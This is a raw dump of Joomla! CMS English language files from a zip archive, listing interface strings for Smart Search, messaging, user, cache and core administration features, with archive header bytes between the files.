filters have been created yet." COM_FINDER_NO_RESULTS="No results match your search criteria." COM_FINDER_QUERY_FILTER_TODAY="Today" COM_FINDER_QUERY_OPERATOR_AND="And" COM_FINDER_QUERY_OPERATOR_NOT="Not" COM_FINDER_QUERY_OPERATOR_OR="Or" COM_FINDER_SEARCH_LABEL="Search %s:" COM_FINDER_STATISTICS="Statistics" COM_FINDER_STATISTICS_LINK_TYPE_COUNT="Count" COM_FINDER_STATISTICS_LINK_TYPE_HEADING="Link Type" COM_FINDER_STATISTICS_LINK_TYPE_TOTAL="Total" COM_FINDER_STATISTICS_STATS_DESCRIPTION="The indexed content on this site includes %s terms across %s links with %s attributes in %s branches." COM_FINDER_STATISTICS_TITLE="Smart Search Statistics" COM_FINDER_SUBMENU_FILTERS="Search Filters" COM_FINDER_SUBMENU_INDEX="Indexed Content" COM_FINDER_SUBMENU_MAPS="Content Maps" COM_FINDER_UPDATER_MESSAGE_COMPLETE="Smart Search is up to date." COM_FINDER_UPDATER_MESSAGE_OPTIMIZE="Smart Search is optimizing." COM_FINDER_UPDATER_MESSAGE_PROCESS="Smart Search is updating." COM_FINDER_XML_DESCRIPTION="Smart Search." PK@y>\.4B)language/en-US/en-US.com_messages.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MESSAGES="Messaging" COM_MESSAGES_ADD="New Private Message" COM_MESSAGES_READ="Read Private Messages" COM_MESSAGES_XML_DESCRIPTION="Component for private messaging support in backend"PK@y>\M(language/en-US/en-US.mod_popular.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_POPULAR_XML_DESCRIPTION="This Module shows a list of the most popular published Articles that are still current. Some that are shown may have expired even though they are the most recent." MOD_POPULAR="Popular Articles" MOD_POPULAR_LAYOUT_DEFAULT="Default" PK@y>\bb(language/en-US/en-US.plg_user_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_JOOMLA="User - Joomla!" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_DESC="Automatically create Registered Users where possible" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_LABEL="Auto-create Users" PLG_USER_JOOMLA_FIELD_MAILTOUSER_DESC="When an administrator creates a user account, this determines if an email, which contains their username and password, is sent to the user." PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL="Notification Mail to User" PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY="Hello %s,\n\n\nYou have been added as a User to %s by an Administrator.\n\nThis email contains your username and password to log in to %s\n\nUsername: %s\nPassword: %s\n\n\nPlease do not respond to this message as it is automatically generated and is for information purposes only." PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT="New User Details" PLG_USER_JOOMLA_XML_DESCRIPTION="Handles Joomla!'s default User synchronisation"PK@y>\,'aa2language/en-US/en-US.plg_search_categories.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CATEGORIES="Search - Categories" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Enables searching of Category information"PK@y>\.;i7language/en-US/en-US.plg_quickicon_joomlaupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE="Quick Icon - Joomla! Update Notification" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Checks for Joomla! updates and notifies you when you visit the Control Panel page" PK@y>\V*language/en-US/en-US.mod_quickicon.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_QUICKICON="Quick Icons" MOD_QUICKICON_XML_DESCRIPTION="This module shows Quick Icons that are visible on the Control Panel (admin area home page)" MOD_QUICKICON_LAYOUT_DEFAULT="Default" PK@y>\b[/H)language/en-US/en-US.com_weblinks.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WEBLINKS="Weblinks" COM_WEBLINKS_XML_DESCRIPTION="Component for weblinks management" COM_WEBLINKS_LINKS="Links" COM_WEBLINKS_CATEGORIES="Categories" COM_WEBLINKS_CATEGORY_ADD_TITLE="Category Manager: Add A New Weblinks Category" COM_WEBLINKS_CATEGORY_EDIT_TITLE="Category Manager: Edit A Weblinks Category" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_DESC="Displays a list of weblinks for a category" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_OPTION="Default" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_TITLE="List Web Links in a Category" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_DESC="Show all the web link categories within a category." COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_OPTION="Default" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_TITLE="List All Web Link Categories" COM_WEBLINKS_FORM_VIEW_DEFAULT_DESC="Display a form to submit a web link in the frontend." COM_WEBLINKS_FORM_VIEW_DEFAULT_OPTION="Default" COM_WEBLINKS_FORM_VIEW_DEFAULT_TITLE="Submit a Web Link" PK@y>\nkk*language/en-US/en-US.com_installer.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_INSTALLER="Installation Manager" COM_INSTALLER_XML_DESCRIPTION="Installer component for adding, removing and upgrading extensions" PK@y>\'language/en-US/en-US.plg_system_p3p.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_P3P_XML_DESCRIPTION="The system P3P policy plugin allows Joomla! to send a customised string of P3P policy tags in the HTTP header. This is required for the sessions to work on certain browsers, i.e. Internet Explorer 6 and 7." PLG_SYSTEM_P3P="System - P3P Policy" PLG_P3P_HEADER_DESCRIPTION="Enter your P3P policy tags. For more information consult The Platform for Privacy Preferences specification, http://www.w3.org/TR/P3P/" PLG_P3P_HEADER_LABEL="P3P Tags"PK@y>\'2??&language/en-US/en-US.com_login.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LOGIN="Login" COM_LOGIN_XML_DESCRIPTION="This component lets users login to the site." PK@y>\:language/en-US/en-US.plg_quickicon_extensionupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE="Quick Icon - Joomla! Extensions Updates Notification" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Checks for updates of your installed third-party extensions and notifies you when you visit the Control Panel page" PK@y>\Uo??)language/en-US/en-US.plg_system_cache.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CACHE_FIELD_BROWSERCACHE_DESC="If yes, use mechanism for storing page cache in the browser" PLG_CACHE_FIELD_BROWSERCACHE_LABEL="Use Browser Caching" PLG_CACHE_FIELD_LIFETIME_DESC="Page cache lifetime in minutes" PLG_CACHE_FIELD_LIFETIME_LABEL="Cache Lifetime" PLG_CACHE_XML_DESCRIPTION="Provides page caching" PLG_SYSTEM_CACHE="System - Cache"PK@y>\$#dlanguage/en-US/en-US.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Double quotes in the values have to be formatted as "_QQ_" ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : error(s) in line(s) %s" J1="1" J2="2" J3="3" J4="4" J5="5" J6="6" J7="7" J8="8" J9="9" J10="10" J15="15" J20="20" J25="25" J30="30" J50="50" J75="75" J100="100" J150="150" J200="200" J250="250" J300="300" JH1="h1" JH2="h2" JH3="h3" JH4="h4" JH5="h5" JH6="h6" ERROR="Error" MESSAGE="Message" NOTICE="Notice" WARNING="Warning" JADMINISTRATION="Administration" JADMINISTRATOR="Administrator" JALL="All" JALL_LANGUAGE="All" JAPPLY="Save" JARCHIVED="Archived" JAUTHOR="Author" JCANCEL="Cancel" JCATEGORIES="Categories" JCATEGORY="Category" JCLEAR="Clear" JCLIENT="Location" JCONFIG_PERMISSIONS_DESC="Default permissions used for all content in this component." JCONFIG_PERMISSIONS_LABEL="Permissions" JCURRENT="Current" JDATE="Date" JDEFAULT="Default" JDETAILS="Details" JDISABLED="Disabled" JENABLED="Enabled" JFALSE="False" JFEATURED="Featured" JHELP="Help" JHIDE="Hide" JINVALID_TOKEN="The most recent request was denied because it contained an invalid security token. Please refresh the page and try again." JLOGIN="Log in" JLOGOUT="Log out" JMODIFY="Modify" JNEVER="Never" JNEXT="Next" JNO="No" JNONE="None" JOFF="Off" JON="On" JOPTIONS="Options" JPREV="Prev" JPREVIOUS="Previous" JPROTECTED="Protected" JPUBLISHED="Published" JRECORD_NUMBER="Record Number" JREGISTER="Register" JSAVE="Save & Close" JSELECT="Select" JSTATUS="Status" JSHOW="Show" JSITE="Site" JSUBMIT="Submit" JTRASH="Trash" JTRASHED="Trashed" JTRUE="True" JUNARCHIVE="Remove from archive status" JUNDEFINED="Undefined" JUNPUBLISHED="Unpublished" JVERSION="Version" JYES="Yes" JACTION_ADMIN="Configure" JACTION_ADMIN_COMPONENT_DESC="Allows users in the group to edit the options of this extension." JACTION_ADMIN_GLOBAL="Super Admin" JACTION_ADMIN_GLOBAL_DESC="Allows users in the group to perform any action regardless of the settings." JACTION_COMPONENT_SETTINGS="Component Settings" JACTION_CREATE="Create" JACTION_CREATE_COMPONENT_DESC="Allows users in the group to create any content in this extension." JACTION_DELETE="Delete" JACTION_DELETE_COMPONENT_DESC="Allows users in the group to delete any content in this extension." JACTION_EDIT="Edit" JACTION_EDIT_COMPONENT_DESC="Allows users in the group to edit any content in this extension." JACTION_EDITOWN="Edit Own" JACTION_EDITOWN_COMPONENT_DESC="Allows users in the group to edit any content they submitted in this extension." JACTION_EDITSTATE="Edit State" JACTION_EDITSTATE_COMPONENT_DESC="Allows users in the group to change the state of any content in this extension." JACTION_LOGIN_ADMIN="Admin Login" JACTION_LOGIN_OFFLINE="Offline Access" JACTION_LOGIN_SITE="Site Login" JACTION_MANAGE="Access Administration Interface" JACTION_MANAGE_COMPONENT_DESC="Allows users in the group to access the administration interface for this extension." JBROWSERTARGET_MODAL="Modal" JBROWSERTARGET_NEW="Open in new window" JBROWSERTARGET_PARENT="Open in parent window" JBROWSERTARGET_POPUP="Open in popup" JERROR_ALERTNOAUTHOR="You are not authorised to view this resource." JERROR_AN_ERROR_HAS_OCCURRED="An error has occurred." JERROR_CORE_DELETE_NOT_PERMITTED="Delete not permitted" JERROR_INVALID_CONTROLLER="Invalid controller" JERROR_INVALID_CONTROLLER_CLASS="Invalid controller class" JERROR_LOADFILE_FAILED="Error loading form file" JERROR_LOADING_MENUS="Error loading Menus: %s" JERROR_LOGIN_DENIED="You do not have access to the administrator section of this site." JERROR_NO_ITEMS_SELECTED="No item(s) selected." JERROR_NOLOGIN_BLOCKED="Login denied! Your account has either been blocked or you have not activated it yet." JERROR_SAVE_FAILED="Could not save data. Error: %s" JFIELD_ACCESS_DESC="The access level group that is allowed to view this item." JFIELD_ACCESS_LABEL="Access" JFIELD_ALIAS_DESC="The Alias will be used in the SEF URL. Leave this blank and Joomla will fill in a default value from the title. This value will depend on the SEO settings (Global Configuration->Site).
            Using Unicode will produce UTF-8 aliases. You may also enter manually any UTF-8 character. Spaces and some forbidden characters will be changed to hyphens.
            When using default transliteration it will produce an alias in lower case and with dashes instead of spaces. You may enter the Alias manually. Use lowercase letters and hyphens (-). No spaces or underscores are allowed. Default value will be a date and time if the title is typed in non-latin letters ." JFIELD_ALIAS_LABEL="Alias" JFIELD_ALT_COMPONENT_LAYOUT_DESC="Use a different layout from the supplied component view or overrides in the templates." JFIELD_ALT_LAYOUT_LABEL="Alternative Layout" JFIELD_ALT_MODULE_LAYOUT_DESC="Use a different layout from the supplied module or overrides in the templates." JFIELD_ALT_PAGE_TITLE_DESC="An optional alternative page title to set that will change the TITLE tag in the HTML output." JFIELD_ALT_PAGE_TITLE_LABEL="Alternative Page Title" JFIELD_BASIS_LOGIN_DESCRIPTION_DESC="Text to display on login page" JFIELD_BASIS_LOGIN_DESCRIPTION_LABEL="Login Description Text" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_DESC="Show or Hide Login Description" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_LABEL="Login Description" JFIELD_BASIS_LOGOUT_DESCRIPTION_DESC="Text for logout page" JFIELD_BASIS_LOGOUT_DESCRIPTION_LABEL="Logout Description Text" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_DESC="Show or Hide Logout Description" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_LABEL="Logout Text" JFIELD_CATEGORY_DESC="The category that this item is assigned to." JFIELD_ENABLED_DESC="The enabled status of this item" JFIELD_KEY_REFERENCE_DESC="Used to store information referring to an external resource" JFIELD_KEY_REFERENCE_LABEL="Key Reference" JFIELD_LANGUAGE_DESC="Assign a language to this article." JFIELD_LANGUAGE_LABEL="Language" JFIELD_LOGIN_IMAGE_DESC="Image to display on login page" JFIELD_LOGIN_IMAGE_LABEL="Login Image" JFIELD_LOGIN_REDIRECT_URL_DESC="If an URL is entered here, users will be redirected to it after login. The URL must not be an external one." JFIELD_LOGIN_REDIRECT_URL_LABEL="Login Redirect" JFIELD_LOGOUT_IMAGE_DESC="Image to display on logout page" JFIELD_LOGOUT_IMAGE_LABEL="Logout image" JFIELD_LOGOUT_REDIRECT_URL_DESC="If an URL is entered here, users will be redirected to it after logout. The URL must not be an external one." JFIELD_LOGOUT_REDIRECT_URL_LABEL="Logout Redirect" JFIELD_META_DESCRIPTION_DESC="An optional paragraph to be used as the description of the page in the HTML output. This will generally display in the results of search engines." JFIELD_META_DESCRIPTION_LABEL="Meta Description" JFIELD_META_KEYWORDS_DESC="An optional comma-separated list of keywords and/or phrases to be used in the HTML output." JFIELD_META_KEYWORDS_LABEL="Meta Keywords" JFIELD_META_RIGHTS_DESC="Describe what rights others have to use this content." JFIELD_META_RIGHTS_LABEL="Content Rights" JFIELD_METADATA_AUTHOR_DESC="The author of this content" JFIELD_METADATA_RIGHTS_DESC="Publication rights for the content" JFIELD_METADATA_RIGHTS_LABEL="Rights" JFIELD_METADATA_ROBOTS_DESC="Robots Instructions" JFIELD_METADATA_ROBOTS_LABEL="Robots" JFIELD_METADATA_XREFERENCE_DESC="An optional reference used to link to external data sources." JFIELD_METADATA_XREFERENCE_LABEL="Cross Reference" JFIELD_MODULE_LANGUAGE_DESC="Assign a language to this module." JFIELD_NOTE_DESC="Note" JFIELD_NOTE_LABEL="Note" JFIELD_OPTION_NONE="None" JFIELD_ORDERING_DESC="Select the ordering" JFIELD_ORDERING_LABEL="Ordering" JFIELD_PARAMS_LABEL="Options" JFIELD_PLG_SEARCH_ALL_DESC="Indicate whether to include published items in the search" JFIELD_PLG_SEARCH_ALL_LABEL="Search Published" JFIELD_PLG_SEARCH_ARCHIVED_DESC="Indicate whether to include archived items in the search" JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Search Archived" JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC="Sets the maximum number of results to return." JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Search Limit" JFIELD_PUBLISHED_DESC="Set publication status." JFIELD_READMORE_DESC="Add a custom text instead of Read More" JFIELD_READMORE_LABEL="Read More Text" JFIELD_SPACER_LABEL="
            " JFIELD_TITLE_DESC="Title" JFIELD_XREFERENCE_DESC="An optional field to allow this record to be cross-referenced to an external data system if required." JFIELD_XREFERENCE_LABEL="External Reference" JGLOBAL_ACROSS="Across" JGLOBAL_ACTION_PERMISSIONS_LABEL="Permissions" JGLOBAL_ACTION_PERMISSIONS_DESCRIPTION="Set the action permissions for this asset" JGLOBAL_ALL_ARTICLE="Max Levels Articles" JGLOBAL_ALL_LIST="Max Levels as List" JGLOBAL_ALLOW_COMMENTS_DESC="If Yes, viewers will be able to add and view comments for the article." JGLOBAL_ALLOW_COMMENTS_LABEL="Allow Comments" JGLOBAL_ALLOW_RATINGS_DESC="If Yes, viewers will be able to add and view ratings for the article." JGLOBAL_ALLOW_RATINGS_LABEL="Allow Ratings" JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_DESC="Please enter in a numeric character limit value. The introtext will be trimmed to the number of characters you enter." JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL=" Intro text Limit" JGLOBAL_ARCHIVE_OPTIONS="Archive Options" JGLOBAL_ARTICLE_COUNT_DESC="Whether to show or hide a count of articles in each category." JGLOBAL_ARTICLE_COUNT_LABEL="Article Count" JGLOBAL_ARTICLE_MANAGER_ORDER="Ordering" JGLOBAL_ARTICLE_MUST_HAVE_TEXT="Article must have some content." JGLOBAL_ARTICLE_ORDER_DESC="The order that articles will show in." JGLOBAL_ARTICLE_ORDER_LABEL="Article Order" JGLOBAL_ARTICLES="Articles" JGLOBAL_AUTH_ACCESS_DENIED="Access Denied" JGLOBAL_AUTH_ACCESS_GRANTED="Access Granted" JGLOBAL_AUTH_BIND_FAILED="Failed binding to LDAP server" JGLOBAL_AUTH_CANCEL="Authentication cancelled" JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED="Empty password not allowed" JGLOBAL_AUTH_FAIL="Authentication failed" JGLOBAL_AUTH_FAILED="Failed to authenticate: %s" JGLOBAL_AUTH_INCORRECT="Incorrect username/password" JGLOBAL_AUTH_INVALID_PASS="Username and password do not match or you do not have an account yet." JGLOBAL_AUTH_NO_BIND="Unable to bind to LDAP" JGLOBAL_AUTH_NO_CONNECT="Unable to connect to LDAP server" JGLOBAL_AUTH_NO_REDIRECT="Could not redirect to server: %s" JGLOBAL_AUTH_NO_USER="Username and password do not match or you do not have an account yet." JGLOBAL_AUTH_NOT_CREATE_DIR="Could not create the FileStore directory %s. Please check the effective permissions." JGLOBAL_AUTH_PASS_BLANK="LDAP can not have blank password" JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED="Result Unknown. Access Denied" JGLOBAL_AUTH_USER_BLACKLISTED="User is blacklisted" JGLOBAL_AUTH_USER_NOT_FOUND="Unable to find user" JGLOBAL_AUTHOR_ALPHABETICAL="Author Alphabetical" JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL="Author Reverse Alphabetical" JGLOBAL_AUTO="Auto" JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND="Cannot find the destination parent for this move." JGLOBAL_BATCH_PROCESS="Process" JGLOBAL_BLOG="Blog" JGLOBAL_BLOG_LAYOUT_OPTIONS="Blog Layout Options" JGLOBAL_CATEGORIES_OPTIONS="Categories Options" JGLOBAL_CATEGORY_LAYOUT_DESC="Layout" JGLOBAL_CATEGORY_LAYOUT_LABEL="Choose a layout" JGLOBAL_CATEGORY_MANAGER_ORDER="Category Manager Order" JGLOBAL_CATEGORY_NOT_FOUND="Category not found" JGLOBAL_CATEGORY_OPTIONS="Category Options" JGLOBAL_CATEGORY_ORDER_DESC="The order that categories will show in." JGLOBAL_CATEGORY_ORDER_LABEL="Category Order" JGLOBAL_CENTER="Center" JGLOBAL_CHOOSE_CATEGORY_DESC="Choose a category from the list" JGLOBAL_CHOOSE_CATEGORY_LABEL="Choose a category" JGLOBAL_CLICK_TO_SORT_THIS_COLUMN="Click to sort by this column" JGLOBAL_CLICK_TO_TOGGLE_STATE="Click on icon to toggle state." JGLOBAL_COPY="(copy)" JGLOBAL_CREATED="Created" JGLOBAL_CREATED_DATE="Created Date" JGLOBAL_DATE_FORMAT_DESC="Optional format string for showing the date. If left blank, it uses DATE_FORMAT_LC1 from your language file (for example, D M Y for day month year or you can use d-m-y for a short version eg. 10-07-10. See http://www.php.net/manual/en/function.date.php)." JGLOBAL_DATE_FORMAT_LABEL="Date Format" JGLOBAL_DESCRIPTION="Description" JGLOBAL_DISPLAY_NUM="Display #" JGLOBAL_DISPLAY_SELECT_DESC="Whether to show or hide the Display Select dropdown listbox." JGLOBAL_DISPLAY_SELECT_LABEL="Display Select" JGLOBAL_DOWN="Down" JGLOBAL_EDIT_ITEM="Edit item" JGLOBAL_EDIT_PREFERENCES="Edit Preferences" JGLOBAL_EMAIL="Email" JGLOBAL_EMPTY_CATEGORIES_DESC="Whether to show or hide categories that contain no articles and no subcategories." JGLOBAL_EMPTY_CATEGORIES_LABEL="Empty Categories" JGLOBAL_ERROR_INSUFFICIENT_BATCH_INFORMATION="Insufficient information to perform the batch operation" JGLOBAL_FEED_SHOW_READMORE_DESC="Displays a "Read More" link in the newsfeeds if Intro Text is set to Show." JGLOBAL_FEED_SHOW_READMORE_LABEL="Show "Read More"" JGLOBAL_FEED_SUMMARY_DESC="If set to Intro Text, only the Intro Text of each article will show in the newsfeed. If set to Full Text, the whole article will show in the newsfeed." JGLOBAL_FEED_SUMMARY_LABEL="For each feed item show" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC="Categories that are within this category will be displayed" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL="Select a Top Level Category" JGLOBAL_FIELD_CATEGORIES_DESC_DESC="If you enter some text in this field, it will override the Top Level Category Description, if it has one." JGLOBAL_FIELD_CATEGORIES_DESC_LABEL="Top Level Category Description" JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC="Uses another name than the author's for display" JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL="Author's Alias" JGLOBAL_FIELD_CREATED_BY_DESC="The user who created this" JGLOBAL_FIELD_CREATED_BY_LABEL="Created by" JGLOBAL_FIELD_CREATED_DESC="Created Date" JGLOBAL_FIELD_CREATED_LABEL="Created Date" JGLOBAL_FIELD_FIELD_CACHETIME_DESC="The number of minutes before the cache is refreshed." JGLOBAL_FIELD_FIELD_ORDERING_LABEL="Order" JGLOBAL_FIELD_ID_DESC="Record number in the database" JGLOBAL_FIELD_ID_LABEL="ID" JGLOBAL_FIELD_LAYOUT_DESC="Default layout to use for articles" JGLOBAL_FIELD_LAYOUT_LABEL="Choose a layout" JGLOBAL_FIELD_MODIFIED_LABEL="Modified Date" JGLOBAL_FIELD_MODIFIED_BY_DESC="The user who did the last modification" JGLOBAL_FIELD_MODIFIED_BY_LABEL="Modified by" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_DESC="Number of categories to display for each level" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_LABEL="Number of categories" JGLOBAL_FIELD_PUBLISH_DOWN_DESC="An optional date to Stop Publishing" JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" JGLOBAL_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing" JGLOBAL_FIELD_PUBLISH_UP_LABEL="Start Publishing" JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC="Show description of the top level category or optionally override with the text from the description field found in menu item. If using Root as top level category, the description field has to be filled." JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL="Top Level Category Description" JGLOBAL_FIELDSET_DISPLAY_OPTIONS="Display Options" JGLOBAL_FIELDSET_METADATA_OPTIONS="Metadata Options" JGLOBAL_FIELDSET_OPTIONS="Options" JGLOBAL_FIELDSET_PUBLISHING="Publishing Options" JGLOBAL_FILTER_ATTRIBUTES_DESC="List additional attributes, separating each attribute name with a space or comma." JGLOBAL_FILTER_ATTRIBUTES_LABEL="Filter Attributes" JGLOBAL_FILTER_CLIENT="- Select Location -" JGLOBAL_FILTER_FIELD_DESC="Whether to show a Filter field for the list of articles. Select Hide to hide the filter field, or select which field you wish to filter on." JGLOBAL_FILTER_FIELD_LABEL="Filter Field" JGLOBAL_FILTER_GROUPS_DESC="This sets the user groups that you want filters applied to. Other groups will have no filtering performed." JGLOBAL_FILTER_GROUPS_LABEL="Filter Groups" JGLOBAL_FILTER_TAGS_DESC="List additional tags, separating each tag name with a space or comma." JGLOBAL_FILTER_TAGS_LABEL="Filter Tags" JGLOBAL_FILTER_TYPE_DESC="

            Black List allows all tags and attributes except for those in the black list.
            -- Tags for the Default Black List include: 'applet', 'body', 'bgsound', 'base', 'basefont', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml'
            -- Attributes for the Default Black List include: 'action', 'background', 'codebase', 'dynsrc', 'lowsrc'
            -- You can black list additional tags and attributes by adding to the Filter Tags and Filter Attributes fields, separating each tag or attribute name with a comma.
            -- Custom Black List allows you to override the Default Black List. Add the tags and attributes to be black listed in the Filter Tags and Filter Attributes fields.

            White List allows only the tags listed in the Filter Tags and Filter Attributes fields.

            No HTML removes all HTML tags from the content when it is saved.

            Please note that these settings work regardless of the editor that you are using.
            Even if you are using a WYSIWYG editor, the filtering settings may strip additional tags and attributes prior to saving information in the database.

            " JGLOBAL_FILTER_TYPE_LABEL="Filter Type" JGLOBAL_FULL_TEXT="Full Text" JGLOBAL_GT=">" JGLOBAL_HITS="Hits" JGLOBAL_INDEX_FOLLOW="Index, Follow" JGLOBAL_INDEX_NOFOLLOW="Index, No follow" JGLOBAL_INHERIT="Inherit" JGLOBAL_INTEGRATION_LABEL="Integration" JGLOBAL_INTRO_TEXT="Intro Text" JGLOBAL_ISFREESOFTWARE="%s is free software released under the GNU General Public License." JGLOBAL_LEAST_HITS="Least Hits" JGLOBAL_LEFT="Left" JGLOBAL_LINK_AUTHOR_DESC="If set to Yes, the Name of the article's Author will be linked to its contact page. You must create a contact linked to the author's user record for this to be ineffect. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_LINK_AUTHOR_LABEL="Link Author" JGLOBAL_LINK_CATEGORY_DESC="If set to Yes, and if Show Category is set to 'Show', the Category Title will link to a layout showing articles in that Category." JGLOBAL_LINK_CATEGORY_LABEL="Link Category" JGLOBAL_LINK_PARENT_CATEGORY_DESC="If set to Yes, and if Show Parent is set to 'Show', the Parent Category Title will link to a layout showing articles in that Category." JGLOBAL_LINK_PARENT_CATEGORY_LABEL="Link Parent" JGLOBAL_LINKED_TITLES_DESC="If set to Yes, the article title will be a link to the article." JGLOBAL_LINKED_TITLES_LABEL="Linked Titles" JGLOBAL_LIST="List" JGLOBAL_LIST_ALIAS="(Alias: %s)" JGLOBAL_LIST_ALIAS_NOTE="(Alias: %s, Note: %s)" JGLOBAL_LIST_AUTHOR_DESC="Whether to show article author in the list of articles." JGLOBAL_LIST_AUTHOR_LABEL="Show Author in List" JGLOBAL_LIST_HITS_DESC="Whether to show article hits in the list of articles." JGLOBAL_LIST_HITS_LABEL="Show Hits in List" JGLOBAL_LIST_LAYOUT_OPTIONS="List Layouts" JGLOBAL_LIST_NOTE="(Note: %s)" JGLOBAL_LIST_TITLE_DESC="If Show, Category Title will show in the list of categories." JGLOBAL_LIST_TITLE_LABEL="Category Title" JGLOBAL_LT="<" JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC="The number of subcategory levels to display." JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL="Subcategory Levels" JGLOBAL_MAXLEVEL_DESC="Maximum number of levels of subcategories to show." JGLOBAL_MAXLEVEL_LABEL="Subcategory Levels" JGLOBAL_MENU_SELECTION="Menu Selection:" JGLOBAL_MODIFIED="Modified" JGLOBAL_MOST_HITS="Most Hits" JGLOBAL_MOST_RECENT_FIRST="Most recent first" JGLOBAL_MULTI_COLUMN_ORDER_DESC="Order articles down or across columns" JGLOBAL_MULTI_COLUMN_ORDER_LABEL="Multi Column Order" JGLOBAL_MULTI_LEVEL="Multi Level" JGLOBAL_NEWITEMSFIRST_DESC="New items default to the first position. The ordering can be changed after this item is saved." JGLOBAL_NEWITEMSLAST_DESC="New items default to the last position. The ordering can be changed after this item is saved." JGLOBAL_NO_ITEM_SELECTED="No items selected" JGLOBAL_NO_ORDER="No Order" JGLOBAL_NOINDEX_FOLLOW="No index, follow" JGLOBAL_NOINDEX_NOFOLLOW="No index, no follow" JGLOBAL_NUM_COLUMNS_DESC="The number of columns in which to show Intro Articles. Normally 1, 2, or 3." JGLOBAL_NUM_COLUMNS_LABEL="# Columns" JGLOBAL_NUM_INTRO_ARTICLES_DESC="Number of articles to show after the leading article. Articles will be shown in columns." 